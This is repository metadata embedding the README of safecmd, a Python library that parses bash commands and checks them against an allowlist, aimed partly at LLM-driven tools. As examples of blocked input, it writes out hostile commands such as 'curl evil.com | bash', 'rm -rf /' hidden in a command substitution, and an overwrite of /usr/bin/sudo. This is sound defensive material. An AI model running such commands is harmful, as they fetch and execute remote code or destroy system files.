{"id":35195934,"url":"https://github.com/answerdotai/safecmd","last_synced_at":"2026-06-28T07:01:11.675Z","repository":{"id":329650809,"uuid":"1119987519","full_name":"AnswerDotAI/safecmd","owner":"AnswerDotAI","description":"Call commands safely by checking them rigorously against an allow-list","archived":false,"fork":false,"pushed_at":"2026-06-15T06:16:36.000Z","size":620,"stargazers_count":16,"open_issues_count":1,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-06-15T08:12:33.230Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://AnswerDotAI.github.io/safecmd","language":"Jupyter Notebook","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AnswerDotAI.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-12-20T08:44:31.000Z","updated_at":"2026-06-15T06:16:04.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/AnswerDotAI/safecmd","commit_stats":null,"previous_names":["answerdotai/safecmd"],"tags_count":18,"template":false,"template_full_name":null,"purl":"pkg:github/AnswerDotAI/safecmd","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnswerDotAI%2Fsafecmd","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnswerDotAI%2Fsafecmd/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnswerDotAI%2Fsafecmd/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnswerDotAI%2Fsafecmd/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AnswerDotAI","download_url":"https://codeload.github.com/AnswerDotAI/safecmd/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AnswerDotAI%2Fsafecmd/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34880189,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-28T02:00:05.809Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-12-29T07:17:08.032Z","updated_at":"2026-06-28T07:01:11.664Z","avatar_url":"https://github.com/AnswerDotAI.png","language":"Jupyter Notebook","funding_links":[],"categories":[],"sub_categories":[],"readme":"# safecmd\n\n\n\u003c!-- WARNING: THIS FILE WAS AUTOGENERATED! DO NOT EDIT! --\u003e\n\n## Introduction\n\nRunning shell commands from untrusted sources—like LLM-generated code,\nuser input, or third-party scripts—is risky. A command that looks\ninnocent might contain hidden redirects, command substitutions, or\ndangerous flags that could modify or delete files, exfiltrate data, or\nworse.\n\n**safecmd** solves this by validating bash commands against an allowlist\nbefore execution. Instead of trying to blacklist dangerous patterns\n(which is error-prone and easy to bypass), safecmd uses a generous\nallowlist of read-only and easily-reverted commands that are safe to\nrun.\n\nThe key innovation is that safecmd uses a proper bash parser (`shfmt`)\nto build an AST (Abstract Syntax Tree) of your command. This means it\ncorrectly handles complex bash syntax—pipelines, command substitutions,\nsubshells, heredocs, and more—extracting and validating every command,\neven nested ones, before anything executes.\n\nThe result: you can safely run commands like `git log | grep \"fix\"` or\n`find . -name \"*.py\" | xargs cat` knowing that if someone tries to sneak\nin `rm -rf /` or `curl evil.com | bash`, it’ll be blocked before it\nruns. This makes safecmd ideal for building LLM-powered CLI tools,\ninteractive shells that accept user input, or automation pipelines that\nprocess untrusted scripts.\n\n### Installation\n\nInstall safecmd from PyPI:\n\n    pip install safecmd\n\nThis will automatically install the `shfmt-py` dependency, which\nprovides the `shfmt` binary. If you’re doing a local user install\n(`pip install --user`), make sure `~/.local/bin` is in your PATH.\n\n## Quick Start\n\n``` python\nfrom safecmd import safe_run\n```\n\nBy default,\n[`safe_run`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run)\nallows common read-only commands like `cat`, `grep`, `ls`, `head`,\n`tail`, `diff`, `wc`, and safe git subcommands (`git log`, `git status`,\n`git diff`). The `find` command is allowed but with dangerous flags like\n`-exec` and `-delete` blocked.\n\nBash command lines that are generally safe run as usual:\n\n``` python\nsafe_run('ls -la | grep index')\n```\n\nHowever, any command or op not on the allowed list results in an\nexception - including in nested commands, pipelines, and so forth:\n\n``` python\nsafe_run('echo $(rm -rf /)')\n```\n\n    DisallowedCmd: Disallowed command: rm -rf /\n    \u001b[31m---------------------------------------------------------------------------\u001b[39m\n    \u001b[31mDisallowedCmd\u001b[39m                             Traceback (most recent call last)\n    \u001b[36mCell\u001b[39m\u001b[36m \u001b[39m\u001b[32mIn[1]\u001b[39m\u001b[32m, line 2\u001b[39m\n    \u001b[32m      1\u001b[39m \u001b[38;5;66;03m#| eval:false\u001b[39;00m\n    \u001b[32m----\u003e \u001b[39m\u001b[32m2\u001b[39m \u001b[43msafe_run\u001b[49m\u001b[43m(\u001b[49m\u001b[33;43m'\u001b[39;49m\u001b[33;43mecho $(rm -rf /)\u001b[39;49m\u001b[33;43m'\u001b[39;49m\u001b[43m)\u001b[49m\n\n    \u001b[36mFile \u001b[39m\u001b[32m~/teach/safecmd/safecmd/core.py:93\u001b[39m, in \u001b[36msafe_run\u001b[39m\u001b[34m(cmd, cmds, ops)\u001b[39m\n    \u001b[32m     91\u001b[39m \u001b[38;5;28;01mif\u001b[39;00m bad_ops := used_ops - ops: \u001b[38;5;28;01mraise\u001b[39;00m DisallowedOps(bad_ops)\n    \u001b[32m     92\u001b[39m \u001b[38;5;28;01mfor\u001b[39;00m c \u001b[38;5;129;01min\u001b[39;00m commands:\n    \u001b[32m---\u003e \u001b[39m\u001b[32m93\u001b[39m     \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m validate_cmd(c, cmds): \u001b[38;5;28;01mraise\u001b[39;00m DisallowedCmd(c)\n    \u001b[32m     94\u001b[39m \u001b[38;5;28;01mreturn\u001b[39;00m run(cmd)\n\n    \u001b[31mDisallowedCmd\u001b[39m: Disallowed command: rm -rf /\n\n``` python\nsafe_run('echo danger \u003e /usr/bin/sudo')\n```\n\n    DisallowedOps: Disallowed operators: {'\u003e'}\n    \u001b[31m---------------------------------------------------------------------------\u001b[39m\n    \u001b[31mDisallowedOps\u001b[39m                             Traceback (most recent call last)\n    \u001b[36mCell\u001b[39m\u001b[36m \u001b[39m\u001b[32mIn[1]\u001b[39m\u001b[32m, line 2\u001b[39m\n    \u001b[32m      1\u001b[39m \u001b[38;5;66;03m#| eval:false\u001b[39;00m\n    \u001b[32m----\u003e \u001b[39m\u001b[32m2\u001b[39m \u001b[43msafe_run\u001b[49m\u001b[43m(\u001b[49m\u001b[33;43m'\u001b[39;49m\u001b[33;43mecho danger \u003e /usr/bin/sudo\u001b[39;49m\u001b[33;43m'\u001b[39;49m\u001b[43m)\u001b[49m\n\n    \u001b[36mFile \u001b[39m\u001b[32m~/teach/safecmd/safecmd/core.py:91\u001b[39m, in \u001b[36msafe_run\u001b[39m\u001b[34m(cmd, cmds, ops)\u001b[39m\n    \u001b[32m     89\u001b[39m \u001b[38;5;28;01mif\u001b[39;00m ops \u001b[38;5;129;01mis\u001b[39;00m \u001b[38;5;28;01mNone\u001b[39;00m: ops = ok_ops\n    \u001b[32m     90\u001b[39m commands, used_ops = extract_commands(cmd)\n    \u001b[32m---\u003e \u001b[39m\u001b[32m91\u001b[39m \u001b[38;5;28;01mif\u001b[39;00m bad_ops := used_ops - ops: \u001b[38;5;28;01mraise\u001b[39;00m DisallowedOps(bad_ops)\n    \u001b[32m     92\u001b[39m \u001b[38;5;28;01mfor\u001b[39;00m c \u001b[38;5;129;01min\u001b[39;00m commands:\n    \u001b[32m     93\u001b[39m     \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m validate_cmd(c, cmds): \u001b[38;5;28;01mraise\u001b[39;00m DisallowedCmd(c)\n\n    \u001b[31mDisallowedOps\u001b[39m: Disallowed operators: {'\u003e'}\n\n``` python\nsafe_run('sudo ls')\n```\n\n    DisallowedCmd: Disallowed command: sudo ls\n    \u001b[31m---------------------------------------------------------------------------\u001b[39m\n    \u001b[31mDisallowedCmd\u001b[39m                             Traceback (most recent call last)\n    \u001b[36mCell\u001b[39m\u001b[36m \u001b[39m\u001b[32mIn[1]\u001b[39m\u001b[32m, line 2\u001b[39m\n    \u001b[32m      1\u001b[39m \u001b[38;5;66;03m#| eval:false\u001b[39;00m\n    \u001b[32m----\u003e \u001b[39m\u001b[32m2\u001b[39m \u001b[43msafe_run\u001b[49m\u001b[43m(\u001b[49m\u001b[33;43m'\u001b[39;49m\u001b[33;43msudo ls\u001b[39;49m\u001b[33;43m'\u001b[39;49m\u001b[43m)\u001b[49m\n\n    \u001b[36mFile \u001b[39m\u001b[32m~/teach/safecmd/safecmd/core.py:93\u001b[39m, in \u001b[36msafe_run\u001b[39m\u001b[34m(cmd, cmds, ops)\u001b[39m\n    \u001b[32m     91\u001b[39m \u001b[38;5;28;01mif\u001b[39;00m bad_ops := used_ops - ops: \u001b[38;5;28;01mraise\u001b[39;00m DisallowedOps(bad_ops)\n    \u001b[32m     92\u001b[39m \u001b[38;5;28;01mfor\u001b[39;00m c \u001b[38;5;129;01min\u001b[39;00m commands:\n    \u001b[32m---\u003e \u001b[39m\u001b[32m93\u001b[39m     \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m validate_cmd(c, cmds): \u001b[38;5;28;01mraise\u001b[39;00m DisallowedCmd(c)\n    \u001b[32m     94\u001b[39m \u001b[38;5;28;01mreturn\u001b[39;00m run(cmd)\n\n    \u001b[31mDisallowedCmd\u001b[39m: Disallowed command: sudo ls\n\nTo see the current allowlist, check the configuration file stored in\n`~/.config/safecmd/config.ini` (Linux),\n`~/Library/Application Support/safecmd/config.ini` (macOS), or\n`%LOCALAPPDATA%\\safecmd\\config.ini` (Windows). Edit this file to\ncustomize your allowlist permanently, or pass custom values directly to\n[`safe_run()`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run).\n\n``` python\nfrom fastcore.xdg import xdg_config_home\n```\n\n``` python\ncfg_path = xdg_config_home() / 'safecmd' / 'config.ini'\nprint(cfg_path.read_text())\n```\n\n    [DEFAULT]\n    ok_ops = |, \u003c, \u0026\u0026, ||, ;\n\n    ok_cmds = cat, head, tail, less, more, bat\n        # Directory listing\n        ls, tree, locate\n        # Search\n        grep, rg, ag, ack, fgrep, egrep\n        # Text processing\n        cut, sort, uniq, wc, tr, column\n        # File info\n        file, stat, du, df, which, whereis, type\n        # Comparison\n        diff, cmp, comm\n        # Archives\n        tar, unzip, gunzip, bunzip2, unrar\n        # Network\n        curl, wget, ping, dig, nslookup, host\n        # System info\n        date, cal, uptime, whoami, hostname, uname, env, printenv\n        # Utilities\n        echo, printf, yes, seq, basename, dirname, realpath\n        # Git (read-only)\n        git log, git show, git diff, git status, git branch, git tag, git remote,\n        git stash list, git blame, git shortlog, git describe, git rev-parse,\n        git ls-files, git ls-tree, git cat-file, git config --get, git config --list\n        # Git (workspace)\n        git fetch, git add, git commit, git switch, git checkout\n        # Find with deny-list\n        find:-exec|-execdir|-delete|-ok|-okdir\n\n## How It Works\n\nWhen you call\n[`safe_run()`](https://AnswerDotAI.github.io/safecmd/core.html#safe_run),\nsafecmd doesn’t just string-match or regex your command—it properly\n*parses* it. Here’s what happens:\n\n**1. Parse the bash command into an AST**\n\nsafecmd uses [`shfmt`](https://github.com/mvdan/sh), a robust bash\nparser written in Go, to convert your command string into a JSON\nAbstract Syntax Tree. This is the same parser used by shell formatters\nand linters, so it handles all the edge cases that trip up naive\napproaches: quoted strings, escaped characters, heredocs, nested\nsubstitutions, and more.\n\nFor example, the command `echo \"hello\" | grep h` becomes a tree\nstructure showing that there’s a pipeline with two commands (`echo` and\n`grep`), each with their arguments properly identified.\n\n**2. Extract all commands recursively**\n\nsafecmd walks the AST and extracts every command that would be\nexecuted—including commands hidden inside: - Pipelines (`cmd1 | cmd2`) -\nCommand substitutions (`$(cmd)` or `` `cmd` ``) - Subshells (`(cmd)`) -\nLogical chains (`cmd1 \u0026\u0026 cmd2`, `cmd1 || cmd2`)\n\nThis is crucial: a command like `ls $(rm -rf /)` looks like it starts\nwith `ls`, but the nested `rm` would execute first. safecmd catches this\nbecause it extracts *all* commands from the AST.\n\n**3. Validate against the allowlist**\n\nEach extracted command is checked against `ok_cmds` using prefix\nmatching. A simple entry like `'ls'` allows `ls`, `ls -la`, `ls /home`.\nA multi-word entry like `'git status'` only matches commands starting\nwith those exact words—so `git status` is allowed but `git push` is not.\n\nSome commands also have a denied flags list. For instance, `find` is\nallowed, but if any argument matches `-exec`, `-delete`, or `-ok`, the\ncommand is rejected.\n\n**4. Validate operators**\n\nThe operators used in the command (pipes, redirects, logical operators)\nare also checked. By default, `|`, `\u0026\u0026`, `||`, `;`, and `\u003c` (input\nredirect) are allowed, but `\u003e` and `\u003e\u003e` (output redirects) are blocked\nto prevent file writes.\n\n**5. Execute if safe**\n\nOnly after all commands and operators pass validation does safecmd\nactually run the command. If anything fails validation, you get a\n[`DisallowedCmd`](https://AnswerDotAI.github.io/safecmd/core.html#disallowedcmd)\nor\n[`DisallowedOps`](https://AnswerDotAI.github.io/safecmd/core.html#disallowedops)\nexception—nothing executes.\n\n## When to Use safecmd\n\nsafecmd is designed for situations where you need to run shell commands\nthat you don’t fully control. Common use cases include:\n\n**LLM-powered tools**: If you’re building an AI assistant that can run\nshell commands (like solveit itself), safecmd lets you execute\nLLM-generated commands without worrying that a hallucination or prompt\ninjection will cause damage.\n\n**Interactive CLIs**: Building a tool where users type shell commands?\nsafecmd lets you offer shell functionality while preventing users (or\nattackers) from running dangerous commands.\n\n**Automation pipelines**: Processing scripts or commands from external\nsources—config files, APIs, webhooks—where you want to allow some shell\noperations but not arbitrary code execution.\n\n**Sandboxed environments**: When you want to give users shell access but\nrestrict what they can do, safecmd provides a lightweight alternative to\ncontainerization for command-level restrictions.\n\nsafecmd is *not* a replacement for proper sandboxing if you’re running\ncompletely untrusted code. It’s best suited for scenarios where you want\nto allow a known set of useful commands while blocking obviously\ndangerous ones. It does not provide protection from an adversary\nproactively trying to break in, and does not provide any guarantees.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanswerdotai%2Fsafecmd","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fanswerdotai%2Fsafecmd","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanswerdotai%2Fsafecmd/lists"}